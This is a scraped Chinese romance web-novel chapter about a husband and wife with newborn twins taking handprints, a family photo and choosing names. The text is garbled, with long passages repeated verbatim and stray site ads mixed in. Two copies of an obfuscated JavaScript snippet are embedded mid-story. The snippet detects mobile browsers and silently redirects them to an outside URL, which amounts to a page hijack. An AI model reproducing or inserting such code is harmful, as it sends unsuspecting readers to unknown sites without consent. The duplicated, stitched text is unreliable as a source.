温热的,细腻的,带着奶香味的触感,让他那颗紧绷到极致的心,像是被温水浸泡过一样,一点点松弛下来。 “怎么站了那么久?”岑予衿察觉到他眉宇间的疲惫,伸手摸了摸他的头发,指尖触到他发丝上的凉意,忍不住皱了皱眉,“手怎么这么冰?” 陆京洲没有回答,只是顺势握住她的手,将自己冰凉的指尖埋进她温热的掌心。 他闭上眼,鼻尖萦绕着她身上淡淡的馨香,还有孩子身上的奶香味,那是他在这世间,唯一能抓住的温暖。 “笙笙,”他的声音很低,带着一丝不易察觉的沙哑,“只有在你和宝宝们身边,我才觉得……我还是个人。” 不是那个被陆家抛弃的男人,不是那个满心仇恨的复仇者,只是陆京洲,是岑予衿的丈夫,是两个孩子的父亲。 岑予衿的心猛地一揪,她知道他这些年的苦,知道他心里的恨,也知道他此刻的不安。 她没有追问鉴定的事,也没有追问傅聿琛的情况,只是轻轻回握住他的手,另一只手顺着他的背脊,一下一下地拍着,像在安抚一个受了委屈的孩子。 “没事的,”她轻声说,“一切都会好起来的。鉴定结果出来也好,不出来也罢,我们都在一起。” 陆京洲没有说话,只是将脸埋进她的掌心,深深吸了一口气。 病房里很安静,只有孩子均匀的呼吸声,还有窗外偶尔传来的风声。 陆京洲蹲在床边,握着岑予衿的手,感受着掌心的温度,感受着怀里孩子的柔软。 那颗被仇恨和疑窦搅得翻江倒海的心,终于一点点,一点点,安定了下来。 他想,不管陆沉奕的身世到底藏着什么秘密,不管陆鹤嵩的罪行到底有多滔天,他都不会再怕了。 因为他的身后,有她,有两个孩子。 这是他的软肋,也是他的铠甲。 他闭上眼,唇角缓缓勾起一抹极淡的弧度。 音。 病房里的光线很柔和,暖黄色的台灯洒在床沿。 岑予衿靠在床头,怀里抱着一个睡得正香的小家伙。 另一个小家伙躺在旁边的婴儿床里,小小的拳头攥着,嘴角还挂着一点口水渍。 岑予衿的侧脸安静而温柔,她垂着眼,目光落在怀里孩子的脸上,长长的睫毛微微颤动着,像是停歇在花瓣上的蝶。 听到门响,她抬起头,看到是他,眼底瞬间漾起一抹柔软的笑意,那笑意像是一道暖流,瞬间冲散了陆京洲满身的寒气。 “回来了?”她的声音很轻,怕吵醒怀里的孩子,“鉴定的事,安排好了?” 陆京洲点点头,反手关上门,脚步放得极轻地走过去。 他没有说话,只是蹲在床边,目光落在婴儿床里那个小家伙的脸上,又移到岑予衿怀里那个的脸上。 两个孩子,眉眼间都像极了她,软糯,干净,像是上帝亲手捏出来的珍宝。 他伸出手,指尖小心翼翼地碰了碰婴儿床里孩子的小脸蛋。 温热的,细腻的,带着奶香味的触感,让他那颗紧绷到极致的心,像是被温水浸泡过一样,一点点松弛下来。 “怎么站了那么久?”岑予衿察觉到他眉宇间的疲惫,伸手摸了摸他的头发,指尖触到他发丝上的凉意,忍不住皱了皱眉,“手怎么这么冰?” 陆京洲没有回答,只是顺势握住她的手,将自己冰凉的指尖埋进她温热的掌心。 他闭上眼,鼻尖萦绕着她身上淡淡的馨香,还有孩子身上的奶香味,那是他在这世间,唯一能抓住的温暖。 “笙笙,”他的声音很低,带着一丝不易察觉的沙哑,“只有在你和宝宝们身边,我才觉得……我还是个人。” 不是那个被陆家抛弃的男人,不是那个满心仇恨的复仇者,只是陆京洲,是岑予衿的丈夫,是两个孩子的父亲。 岑予衿的心猛地一揪,她知道他这些年的苦,知道他心里的恨,也知道他此刻的不安。 她没有追问鉴定的事,也没有追问傅聿琛的情况,只是轻轻回握住他的手,另一只手顺着他的背脊,一下一下地拍着,像在安抚一个受了委屈的孩子。 “没事的,”她轻声说,“一切都会好起来的。鉴定结果出来也好,不出来也罢,我们都在一起。” 陆京洲没有说话,只是将脸埋进她的掌心,深深吸了一口气。 病房里很安静,只有孩子均匀的呼吸声,还有窗外偶尔传来的风声。 陆京洲蹲在床边,握着岑予衿的手,感受着掌心的温度,感受着怀里孩子的柔软。 那颗被仇恨和疑窦搅得翻江倒海的心,终于一点点,一点点,安定了下来。 他想,不管陆沉奕的身世到底藏着什么秘密,不管陆鹤嵩的罪行到底有多滔天,他都不会再怕了。 因为他的身后,有她,有两个孩子。 这是他的软肋,也是他的铠甲。 他闭上眼,唇角缓缓勾起一抹极淡的弧度。 音。 病房里的光线很柔和,暖黄色的台灯洒在床沿。 岑予衿靠在床头,怀里抱着一个睡得正香的小家伙。 另一个小家伙躺在旁边的婴儿床里,小小的拳头攥着,嘴角还挂着一点口水渍。 岑予衿的侧脸安静而温柔,她垂着眼,目光落在怀里孩子的脸上,长长的睫毛微微颤动着,像是停歇在花瓣上的蝶。 听到门响,她抬起头,看到是他,眼底瞬间漾起一抹柔软的笑意,那笑意像是一道暖流,瞬间冲散了陆京洲满身的寒气。 “回来了?”她的声音很轻,怕吵醒怀里的孩子,“鉴定的事,安排好了?” 陆京洲点点头,反手关上门,脚步放得极轻地走过去。 他没有说话,只是蹲在床边,目光落在婴儿床里那个小家伙的脸上,又移到岑予衿怀里那个的脸上。 两个孩子,眉眼间都像极了她,软糯,干净,像是上帝亲手捏出来的珍宝。 他伸出手,指尖小心翼翼地碰了碰婴儿床里孩子的小脸蛋。 温热的,细腻的,带着奶香味的触感,让他那颗紧绷到极致的心,像是被温水浸泡过一样,一点点松弛下来。 “怎么站了那么久?”岑予衿察觉到他眉宇间的疲惫,伸手摸了摸他的头发,指尖触到他发丝上的凉意,忍不住皱了皱眉,“手怎么这么冰?” 陆京洲没有回答,只是顺势握住她的手,将自己冰凉的指尖埋进她温热的掌心。 他闭上眼,鼻尖萦绕着她身上淡淡的馨香,还有孩子身上的奶香味,那是他在这世间,唯一能抓住的温暖。 “笙笙,”他的声音很低,带着一丝不易察觉的沙哑,“只有在你和宝宝们身边,我才觉得……我还是个人。” 不是那个被陆家抛弃的男人,不是那个满心仇恨的复仇者,只是陆京洲,是岑予衿的丈夫,是两个孩子的父亲。 岑予衿的心猛地一揪,她知道他这些年的苦,知道他心里的恨,也知道他此刻的不安。 她没有追问鉴定的事,也没有追问傅聿琛的情况,只是轻轻回握住他的手,另一只手顺着他的背脊,一下一下地拍着,像在安抚一个受了委屈的孩子。 “没事的,”她轻声说,“一切都会好起来的。鉴定结果出来也好,不出来也罢,我们都在一起。” 陆京洲没有说话,只是将脸埋进她的掌心,深深吸了一口气。 病房里很安静,只有孩子均匀的呼吸声,还有窗外偶尔传来的风声。 陆京洲蹲在床边,握着岑予衿的手,感受着掌心的温度,感受着怀里孩子的柔软。 那颗被仇恨和疑窦搅得翻江倒海的心,终于一点点,一点点,安定了下来。 他想,不管陆沉奕的身世到底藏着什么秘密,不管陆鹤嵩的罪行到底有多滔天,他都不会再怕了。 因为他的身后,有她,有两个孩子。 这是他的软肋,也是他的铠甲。 他闭上眼,唇角缓缓勾起一抹极淡的弧度。 音。 病房里的光线很柔和,暖黄色的台灯洒在床沿。 岑予衿靠在床头,怀里抱着一个睡得正香的小家伙。 另一个小家伙躺在旁边的婴儿床里,小小的拳头攥着,嘴角还挂着一点口水渍。 岑予衿的侧脸安静而温柔,她垂着眼,目光落在怀里孩子的脸上,长长的睫毛微微颤动着,像是停歇在花瓣上的蝶。 听到门响,她抬起头,看到是他,眼底 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17100157|191758||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 瞬间漾起一抹柔软的笑意,那笑意像是一道暖流,瞬间冲散了陆京洲满身的寒气。 “回来了?”她的声音很轻,怕吵醒怀里的孩子,“鉴定的事,安排好了?” 陆京洲点点头,反手关上门,脚步放得极轻地走过去。 他没有说话,只是蹲在床边,目光落在婴儿床里那个小家伙的脸上,又移到岑予衿怀里那个的脸上。 两个孩子,眉眼间都像极了她,软糯,干净,像是上帝亲手捏出来的珍宝。 他伸出手,指尖小心翼翼地碰了碰婴儿床里孩子的小脸蛋。 温热的,细腻的,带着奶香味的触感,让他那颗紧绷到极致的心,像是被温水浸泡过一样,一点点松弛下来。 “怎么站了那么久?”岑予衿察觉到他眉宇间的疲惫,伸手摸了摸他的头发,指尖触到他发丝上的凉意,忍不住皱了皱眉,“手怎么这么冰?” 陆京洲没有回答,只是顺势握住她的手,将自己冰凉的指尖埋进她温热的掌心。 他闭上眼,鼻尖萦绕着她身上淡淡的馨香,还有孩子身上的奶香味,那是他在这世间,唯一能抓住的温暖。 “笙笙,”他的声音很低,带着一丝不易察觉的沙哑,“只有在你和宝宝们身边,我才觉得……我还是个人。” 不是那个被陆家抛弃的男人,不是那个满心仇恨的复仇者,只是陆京洲,是岑予衿的丈夫,是两个孩子的父亲。 岑予衿的心猛地一揪,她知道他这些年的苦,知道他心里的恨,也知道他此刻的不安。 她没有追问鉴定的事,也没有追问傅聿琛的情况,只是轻轻回握住他的手,另一只手顺着他的背脊,一下一下地拍着,像在安抚一个受了委屈的孩子。 “没事的,”她轻声说,“一切都会好起来的。鉴定结果出来也好,不出来也罢,我们都在一起。” 陆京洲没有说话,只是将脸埋进她的掌心,深深吸了一口气。 病房里很安静,只有孩子均匀的呼吸声,还有窗外偶尔传来的风声。 陆京洲蹲在床边,握着岑予衿的手,感受着掌心的温度,感受着怀里孩子的柔软。 那颗被仇恨和疑窦搅得翻江倒海的心,终于一点点,一点点,安定了下来。 他想,不管陆沉奕的身世到底藏着什么秘密,不管陆鹤嵩的罪行到底有多滔天,他都不会再怕了。 因为他的身后,有她,有两个孩子。 这是他的软肋,也是他的铠甲。 他闭上眼,唇角缓缓勾起一抹极淡的弧度。 音。 病房里的光线很柔和,暖黄色的台灯洒在床沿。 岑予衿靠在床头,怀里抱着一个睡得正香的小家伙。 另一个小家伙躺在旁边的婴儿床里,小小的拳头攥着,嘴角还挂着一点口水渍。 岑予衿的侧脸安静而温柔,她垂着眼,目光落在怀里孩子的脸上,长长的睫毛微微颤动着,像是停歇在花瓣上的蝶。 听到门响,她抬起头,看到是他,眼底瞬间漾起一抹柔软的笑意,那笑意像是一道暖流,瞬间冲散了陆京洲满身的寒气。 “回来了?”她的声音很轻,怕吵醒怀里的孩子,“鉴定的事,安排好了?” 陆京洲点点头,反手关上门,脚步放得极轻地走过去。 他没有说话,只是蹲在床边,目光落在婴儿床里那个小家伙的脸上,又移到岑予衿怀里那个的脸上。 两个孩子,眉眼间都像极了她,软糯,干净,像是上帝亲手捏出来的珍宝。 他伸出手,指尖小心翼翼地碰了碰婴儿床里孩子的小脸蛋。 温热的,细腻的,带着奶香味的触感,让他那颗紧绷到极致的心,像是被温水浸泡过一样,一点点松弛下来。 “怎么站了那么久?”岑予衿察觉到他眉宇间的疲惫,伸手摸了摸他的头发,指尖触到他发丝上的凉意,忍不住皱了皱眉,“手怎么这么冰?” 陆京洲没有回答,只是顺势握住她的手,将自己冰凉的指尖埋进她温热的掌心。 他闭上眼,鼻尖萦绕着她身上淡淡的馨香,还有孩子身上的奶香味,那是他在这世间,唯一能抓住的温暖。 “笙笙,”他的声音很低,带着一丝不易察觉的沙哑,“只有在你和宝宝们身边,我才觉得……我还是个人。” 不是那个被陆家抛弃的男人,不是那个满心仇恨的复仇者,只是陆京洲,是岑予衿的丈夫,是两个孩子的父亲。 岑予衿的心猛地一揪,她知道他这些年的苦,知道他心里的恨,也知道他此刻的不安。 她没有追问鉴定的事,也没有追问傅聿琛的情况,只是轻轻回握住他的手,另一只手顺着他的背脊,一下一下地拍着,像在安抚一个受了委屈的孩子。 “没事的,”她轻声说,“一切都会好起来的。鉴定结果出来也好,不出来也罢,我们都在一起。” 陆京洲没有说话,只是将脸埋进她的掌心,深深吸了一口气。 病房里很安静,只有孩子均匀的呼吸声,还有窗外偶尔传来的风声。 陆京洲蹲在床边,握着岑予衿的手,感受着掌心的温度,感受着怀里孩子的柔软。 那颗被仇恨和疑窦搅得翻江倒海的心,终于一点点,一点点,安定了下来。 他想,不管陆沉奕的身世到底藏着什么秘密,不管陆鹤嵩的罪行到底有多滔天,他都不会再怕了。 因为他的身后,有她,有两个孩子。 这是他的软肋,也是他的铠甲。 他闭上眼,唇角缓缓勾起一抹极淡的弧度。 音。 病房里的光线很柔和,暖黄色的台灯洒在床沿。 岑予衿靠在床头,怀里抱着一个睡得正香的小家伙。 另一个小家伙躺在旁边的婴儿床里,小小的拳头攥着,嘴角还挂着一点口水渍。 岑予衿的侧脸安静而温柔,她垂着眼,目光落在怀里孩子的脸上,长长的睫毛微微颤动着,像是停歇在花瓣上的蝶。 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陆京洲抬眸看她,眼底的冰碴子仿佛被温水化开,只剩下一片柔和,“你说。 “你看啊,岑予衿的指尖轻轻点了点怀里宝宝的小拳头。 “两个小家伙出生的时候,乱糟糟的,又是保温箱又是住院,我们连个像样的纪念都没留。我想着,能不能找专业的人来,给他们印个小手印小脚印,做成那种立体的摆件,以后长大了给他们看,多有意义。 她顿了顿,又补充道,语气里带着点雀跃的期待,“还有啊,我们好像从来没拍过全家福。之前怀着孕的时候没来得及,现在宝宝们也安稳了,不如今天就拍一张?我还想挑几张好看的,发个朋友圈,告诉大家我有两个全世界最可爱的宝贝。 陆京洲的心像是被什么东西轻轻撞了一下,酸涩又温暖。 他这辈子,从来没有过什么“全家福的概念。 陆家的那些照片,要么是陆鹤嵩带着陆沉奕拍的,要么是逢场作戏的商业摆拍,每张照片里的他,都像个局外人,眼神冷得像冰。 他从来没想过,自己也能有这样的时刻和自己的妻子,自己的孩子,拍一张真正的全家福。 “好。他立刻就应了下来,声音里带着一丝自己都没察觉的急切,“我这就安排。 岑予衿被他的反应逗笑了,指尖轻轻刮了刮他的下巴,“这么快?不用这么着急啦,等宝宝们醒了,精神好一点再拍也不迟。 “不行。陆京洲固执地摇头,掌心紧紧攥着她的手,“我现在就想。 他怕,怕这片刻的温暖是偷来的,怕下一秒就会被陆家的污泥浊水淹没。 他想把这一刻牢牢地抓在手里,刻进骨子里。 岑予衿看着他眼底的执拗,心里又是心疼又是无奈,她点了点头,“好好好,听你的。不过你别自己跑一趟,让助理安排就好啦,你陪我和宝宝们待一会儿。 陆京洲没说话,只是拿出手机,指尖飞快地在屏幕上敲打着。 他给助理发了一条短信,言简意赅,“立刻带最好的母婴摄影团队和手足印制作师来医院顶层VIP病房,要最快的,最好的,不准有一点差错。另外,把我放在车里的那套衣服带过来。 发完短信,他把手机揣回兜里,重新蹲回床边,目光落在两个孩子的脸上,久久没有移开。 你的朋友正在书荒,快去帮帮他吧 岑予衿看着他专注的侧脸忍不住开口“阿洲你的变化真的好大和一开始冷冰冰的样子一点都不一样那时候的你真的很难让人接近。” 陆京洲抬眸看她眼底闪过一丝笑意“那你还敢接近我?” “因为我知道啊”岑予衿的声音轻轻的像是在说什么秘密“你不是真的冷你只是把自己藏起来了。” 陆京洲的心猛地一颤他别过头不敢看她的眼睛。 是啊他把自己藏了太久久到差点忘了自己原来的样子。 是她一点点把他从黑暗里拉出来给他光给他暖给他一个家。 没过多久病房门被轻轻敲响了。 助理带着摄影团队和手足印制作师走了进来每个人都轻手轻脚的生怕吵醒了床上的宝宝。 制作师手里拿着一套精致的工具里面有印泥有相框还有各种可爱的装饰。 她小心翼翼地走到床边轻声问“陆太太请问现在可以开始印手足印了吗?” 岑予衿点了点头“可以的麻烦你轻一点。” “您放心。”制作师笑了笑动作轻柔地拿出印泥“我们用的是无毒无害的植物印泥对宝宝的皮肤没有任何伤害。” 陆京洲全程盯着制作师的动作眼神警惕得像只护崽的狼。 只要制作师的动作稍微重一点他的眉头就会立刻皱起来吓得制作师大气都不敢喘。 岑予衿看着他这个样子忍不住笑着捏了捏他的胳膊“你别这么紧张啦 陆京洲没理她依旧死死地盯着。 先印的是婴儿床里那个小家伙的。 制作师小心翼翼地握住宝宝的小手轻轻按在印泥上又稳稳地印在卡片上。 小小的手掌印像一片嫩嫩的枫叶可爱得让人舍不得移开目光。 陆京洲看着那个小小的掌印喉结滚了滚眼底泛起了一层薄薄的红。 这是他的孩子是他和笙笙的孩子。 接着是岑予衿怀里的那个。 小家伙似乎被惊动了小嘴瘪了瘪嘤咛了一声。 岑予衿赶紧轻轻拍着他的背柔声哄着“宝宝乖不疼的就一下下。” 陆京洲的心跳瞬间漏了一拍他伸出手小心翼翼地托住宝宝的小脚丫配合着制作师的动作。 温热的小脚丫踩在印泥上又印在卡片上小小的脚印像一颗饱满的小豆子。 印完手足印 恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的 制作师又拿出相框,小心翼翼地把掌印和脚印放进去,又点缀了一些可爱的小装饰。 看着那两个精致的相框,岑予衿的眼睛亮得像星星,“太好看了!阿洲,你看!” 陆京洲凑过去看,喉结又滚了滚,半天,才憋出两个字,“好看。” 他这辈子,没觉得什么东西是真正好看的。 但此刻,这两个印着孩子手足印的相框,却比任何珠宝玉石都要耀眼。 接下来是拍全家福。 摄影团队早已把背景布置好,是温馨的浅色系,还点缀了一些柔软的玩偶。 助理把陆京洲的衣服送了过来,是一套浅灰色的休闲西装,不像他平时穿的黑色那么压抑,显得整个人温和了许多。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17103639|191758||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 陆京洲换好衣服走出来的时候,岑予衿眼前一亮。 她从来没见过他穿这么柔和的颜色,褪去了一身的戾气,他看起来就像个普通的丈夫,普通的父亲。 “很好看。”岑予衿由衷地赞叹道。 陆京洲的耳根微微泛红,他走到床边,小心翼翼地抱起婴儿床里的孩子,动作生疏又笨拙,生怕把孩子弄疼了。 岑予衿看着他这个样子,忍不住拿出手机,先拍了一张他抱着孩子的侧脸。 “你干什么?”陆京洲抬眸看她。 “拍下来啊,”岑予衿笑得眉眼弯弯,“我要把你这个样子,永远记下来。” 陆京洲没说话,只是嘴角微微上扬,露出了一个极淡的笑容。 摄影师适时开口,“陆先生,陆太太,麻烦你们靠近一点,陆先生可以稍微弯一点腰,靠近陆太太的肩膀。” 陆京洲依言照做,他微微弯腰,肩膀轻轻靠着岑予衿的肩膀。 岑予衿怀里抱着一个宝宝,他怀里抱着一个宝宝,四个人依偎在一起,画面温馨得不像话。 “陆太太,麻烦你笑一笑,”摄影师说,“陆先生,也请你笑一笑,放松一点。” 岑予衿立刻露出了一个温柔的笑容,眉眼弯弯,眼底满是幸福。 陆京洲却有些僵硬,他这辈子,很少笑,更不知道该怎么对着镜头笑。 岑予衿察觉到他的紧张,忍不住伸手,轻轻捏了捏他的脸颊,“放松一点啦,就像平时看着我和宝宝们那样就好。” 陆京洲看着她的眼睛,眼底的冰碴子彻底融化了。 他微微勾唇,露出了一个浅浅的笑容,那笑容很淡,却足以让整个病房都亮起来。 “咔嚓。” 摄影师按下快门,将这一刻永远定格。 拍完全家福,岑予衿又让摄影师拍了几张宝宝的单人照,还有她和宝宝们的合照。 等一切都忙完,摄影团队和制作师都离开了,病房里又恢复了之前的安静。 陆京洲把两个宝宝放回婴儿床,走到岑予衿身边,从身后轻轻抱住她。 “笙笙,”他的下巴抵在她的发顶,声音低沉而沙哑,“谢谢你。” 谢谢你,给了我一个家。 谢谢你,让我知道,原来被人爱着,是这种感觉。 岑予衿反手抱住他的腰,把脸埋进他的怀里:“跟我客气什么呀。” 她顿了顿,又抬起头,眼底满是狡黠,“对了,刚才拍的照片,我要发朋友圈啦,你要不要看看文案?” 陆京洲点了点头,“好。” 岑予衿拿起手机,飞快地编辑着文案,“欢迎我的两个小天使来到这个世界,一家四口,三餐四季,平安喜乐。” 她选了一张全家福,还有两张宝宝的单人照,刚想点击发送,却被陆京洲拦住了。 “怎么了?”岑予衿疑惑地看着他。 第247章 去父留子也是有可能的 “老婆,才开始有两个小拖油瓶,你就区别对待,开始偏心了是不是?” 陆京洲一把抢过她的手机,指着那几张照片就开始生闷气。 那样子看着跟撒娇一点区别也没有,看着他那鲜活的模样,岑予衿的嘴角也忍不住往上勾,“这不是放了一张合照吗?一家四口的全家福!” “不一样,凭什么他们可以有单独的照片,我不能有,你就是偏心,他们俩才多大点,你就开始偏心了,再长大点还得了……” 陆京洲越想越生气,轻哼了一声,将手机高高举起,“不得带着两个小不点跑路留我一个孤家寡人?” “不对……就是去父留子也有可能!” 岑予衿这回是真没忍住,噗嗤一声笑了出来,笑着踮起脚,单手搂住他的脖子,另一只手伸出来轻轻的捏了捏他的脸。 “哦呦~还去父留子,我哪舍得呀?” 岑予衿的指尖带着微凉的暖意,捏在陆京洲略带胡茬的脸颊上,软着声音哄道。 “我们陆先生多大的人了,还跟刚满一个周的宝宝争宠呀?” 她故意把“宝宝”两个字咬得软糯,眼底的笑意都快溢出来。 “单独拍几张是为了记录他们的小模样,等以后长大了给他们看,多有纪念意义呀!” 陆京洲脑袋微微偏着,嘴上还硬邦邦的,肩膀却不自觉放松了些,被她搂着的脖颈也悄悄往她掌心蹭了蹭。 “那我也想有单独的照片,我也要被记录。” 他说着,眉头还是皱着,语气却委屈巴巴的,“你以前手机里全是我,现在打开相册,翻好几页才能看到我,还得跟那两个小的挤在一块。” “好好好,是我的错。”岑予衿笑着松开捏他脸颊的手,转而顺着他的发丝轻轻抚摸,指尖划过他饱满的额头。 “等这两个小拖油瓶睡熟了,我们就去阳台拍,你想拍多少张就拍多少张,单独的、特写的、你耍帅的、你笑的,全都存进我手机里,行不行?” 她继续将手机的页面切回桌面,“看到没?我现在手机壁纸都还是我最爱的老公,你在我心里的地位,哪是他们能比的。” 说着又将手机关闭,重新打开,锁屏壁纸依旧是陆京洲,“看到没大醋坛子,是你,是你,全都是你~我的心里,眼里,脑子里,全部都是你~” 她的声音温柔得像羽毛,挠得陆京洲心里的那点闷气瞬间消散了大半,但还是故意板着脸,“那还差不多。” 可嘴角却控制不住地往上扬,眼 神里的委屈也变成了得逞的狡黠,“你可不能敷衍,你得认真拍,还要夸我帅。” “当然了。”岑予衿踮着脚,在他下巴上亲了一下,“我们陆先生最帅了,比电影明星还帅,拍出来的照片肯定比那两个完全没长开小不点好看一百倍,一千倍,一万倍。” “比不了,完全比不了。” 她顿了顿,故意凑近他耳边,用只有两人能听到的声音说,“在我心里,你才是最重要的大宝宝,他们俩加起来都比不上你。” 陆京洲的耳朵瞬间红了,刚才还故意生闷气的模样瞬间绷不住,嘴角咧得老大,却还想装作矜持的样子,轻咳了一声,“又开始哄人了。” 他说着,把手机还给她,却顺势将她搂进怀里,下巴抵在她的发顶,声音闷闷的,“以后不能只疼他们,也要多疼我。” “知道啦。”岑予衿靠在他怀里,听着他有力的心跳声,忍不住笑了,“以后每天都给你单独拍照片,每天都夸你帅,每天都多疼你一点,这样我们陆先生满意了吗?” 陆京洲收紧手臂,将她抱得更紧了些,语气里满是满足,“满意。” 他低头,在她额头上印下一个温柔的吻,“那现在,先给我拍一张,就现在。” 岑予衿笑着拿起手机,对准他俊朗的脸庞,看着他故意板起脸却藏不住笑意的模样,按下了快门。 照片里,男人的眼神温柔得能滴出水来,嘴角带着浅浅的笑意,背景是客厅里熟睡的两个小宝贝,一家四口,满是温馨。 陆京洲又哄着她,拍了好多,他俩的合照居多。 原本只打算放三张照片岑予衿最后发成了九宫格。 前三张照片是她和陆京洲的合照。 第二行的第一张照片才是宝宝,第二张是大合照,第三张则是另外一个宝宝。 而最后一行,全是陆京洲那张帅到人神共愤的俊颜。 想炫耀宝宝变成了炫耀老公。 陆京洲如法炮制,不过……他更过分一些。 他的两个宝宝只有唯一全家福里的一张合照。 其他的全是他和自己老婆! 字里行间全是老婆…… 妥妥的老婆奴一枚。 岑予衿有些无奈的摇了摇头,也随他去了,只要他能开心一点点就足够了。 这几天在他看不到的角落,他都是愁眉苦脸的。 只有她在身边时,他的表情才微微放松一些。 却也没有好到哪去,那样子……她看着都很心疼。 一边是还在重症监护病房的傅聿琛,另一边是陆鹤嵩和陆沉奕。 弄死他们,道德上过不去。 不弄死他们,心里堵得慌。 陆家的人也已经发现了他们俩不见了,正在疯狂的找他们。 要是被他们知道是陆京洲把他俩关在地下室里折磨,还不知道要怎么样呢。 不过在她这儿陆京洲没有对错,只要他想做,她就会无条件的站在他身后。 哪怕明知道是错的,她也会义无反顾的站在他身后。 就像他对她那样! “阿洲,两个宝宝的名字还没取呢,怎么办?”岑予衿也够烦的,为了两个宝宝的名字,快要把字典都翻烂了。 就是取不出好听的名字。 陆家那边倒是给了几个名字过来,但是……难听至极,她一点也不喜欢,土土的感觉有些老气。 “想不出来吗?”陆京洲单手搂住她的肩膀,看着她头发披下来,起身开始帮她梳头发。 把头发梳顺了之后,开始给她编辫子,“笙笙,坐月子帽子还是得戴一下的,要不然以后会头疼,奶奶说的,她很有经验的。” 头发梳顺,编成辫子之后戴上帽子躺着也不会觉得不舒服。 一开始的时候他还不会编辫子,现在完全手拿把掐,简单到能编出好几种花样。 完全是贤夫来的! 岑予衿被他按着肩膀坐在沙发上,乖乖地仰着头,看他骨节分明的手指穿梭在自己的发丝间。 木梳划过发梢的触感很轻柔,带着他掌心的温度,她忍不住眯起眼,像只被顺**的猫,声音软乎乎的,“戴了好几天了,太难受了,你就不能体谅体谅我吗?” 陆京洲的动作顿了顿,指尖轻轻刮了下她的耳垂,语气里带着点不容置喙的温柔,“就再乖一点,等出了月子,你想披散着头发跑遍全城都随你。” 他低头,鼻尖蹭了蹭她的发顶,闻到一股淡淡的洗发水香味,是他特意让人找来的她最喜欢的款式。 “奶奶的话不能不听,她年轻时落下的头疼毛病,一到阴雨天就犯,疼得直掉眼泪,我不想你也那样。” 岑予衿心里一暖,伸手攥住他垂下来的衣角,轻轻晃了晃,“知道啦,听你的,听奶奶的。” 她顿了顿,又想起名字的事,眉头皱了起来,“陆家那帮人给的名字,你听到没?难听**,我才不要我们的宝宝叫这种名字。” 岑予衿突然“嘶”了一声,他立刻松了劲,连忙揉了揉她的头发,声音 里带着歉意,“疼不疼?” “我是有点生气,不是你弄疼我的。” 见她摇头,他才沉下脸,语气里满是嫌恶,“别理他们,一群守着老黄历过日子的老顽固,他们的审美,跟我们不是一个次元的。” 他把最后一缕头发编好,用一根红色的发绳系住,又抬手把那顶柔软的月子帽给她戴上,仔细地抚平帽檐的褶皱,动作认真得不像话。 做完这一切,他才重新搂住她的肩膀,让她靠在自己怀里,低头看着她的眼睛,声音低沉而温柔,“其实,我早就想好了两个名字。” 岑予衿眼睛倏地亮了,猛地坐直身子,差点撞到头,被他伸手护着后脑勺才没磕着。 她抓着他的胳膊,语气里满是期待,“什么名字?快说快说!” 陆京洲被她急吼吼的样子逗笑了,指尖捏了捏她的脸颊,才缓缓开口,“女孩叫陆灵月,灵动的灵,月亮的月,愿她像月光一样,温柔又明亮。” “陆灵月……”岑予衿喃喃自语,反复念了几遍,眼睛越来越亮,“好好听!那男孩呢?男孩叫什么?” 陆京洲看着她眼底的光,嘴角的笑意更深了些。 他抬手,指腹轻轻摩挲着她的唇角,声音里带着几分郑重,“男孩叫陆星砚,星辰的星,砚台的砚。灵月配星砚,星月相伴,砚墨生香,寓意他们兄妹俩往后能平安顺遂,岁岁无忧。” “陆星砚!”岑予衿一拍大腿,兴奋地差点跳起来,又被他按回怀里,她仰头看着他。 “阿洲,这名字也太好听了吧!比陆家那帮人取的强一百倍!” 她扑进他怀里,搂住他的脖子,在他脸上“吧唧”亲了一口,“你怎么这么厉害呀!” 陆京洲被她亲得耳根发红,却故意板着脸,伸手刮了下她的鼻子,“就知道贫嘴。” 他低头,鼻尖抵着她的鼻尖,声音温柔得能滴出水来,“我查了好几天的字典,还问了好几个国学大师,生怕取的名字不好听,怕我家大宝宝会生气。” 岑予衿的心像被泡在温水里,软得一塌糊涂。 她知道他这段时间有多忙,一边要应付陆家的人,一边要盯着地下室里的陆鹤嵩和陆沉奕。 还要抽空照顾她和宝宝,却还能把宝宝的名字放在心上,想得这么周全。 她伸手搂住他的腰,把脸埋进他的胸膛,声音闷闷的,“一点都不委屈,这是我听过最好听的名字了。” 陆京洲收紧手臂,把她抱得更紧,下巴抵着她的发顶,声音里带着一丝不易察觉的沙哑,“笙笙,委屈你了。” 这段时间,她还要替他担心,连个安稳的月子都坐不好,还要担心这担心那,“等我把陆家的烂摊子收拾干净,把傅聿琛那边的事处理好,我一定好好陪你和宝宝。” 岑予衿知道他心里的执念,也知道他肩上的担子有多重。 她抬起头,伸手抚平他眉间的褶皱,语气坚定,“阿洲,我不委屈。有你在,有宝宝在,我就什么都不怕。” 她顿了顿,又补充道,“陆家的事,傅聿琛的事,我们一起面对,好不好?” 陆京洲看着她眼底的坚定,心里那点被阴霾笼罩的角落,瞬间被照亮了。 他低头,吻住她的唇,这个吻温柔而绵长,带着他所有的爱意。 里带着歉意,“疼不疼?” “我是有点生气,不是你弄疼我的。” 见她摇头,他才沉下脸,语气里满是嫌恶,“别理他们,一群守着老黄历过日子的老顽固,他们的审美,跟我们不是一个次元的。” 